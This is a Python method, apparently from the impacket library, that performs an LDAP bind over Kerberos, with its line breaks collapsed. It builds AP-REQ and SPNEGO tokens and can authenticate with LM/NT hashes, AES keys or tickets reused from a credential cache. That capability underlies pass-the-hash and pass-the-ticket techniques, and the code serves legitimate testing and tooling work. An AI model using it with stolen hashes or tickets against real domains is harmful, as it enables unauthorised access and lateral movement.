def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket from pyasn1.codec.der import decoder, encoder import datetime if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') # First of all, we need to get a TGT for the user userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal('ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) credentials = SaslCredentials() credentials['mechanism'] = LDAPString('GSS-SPNEGO') credentials['credentials'] = Credentials(blob.getData()) bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % ( resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True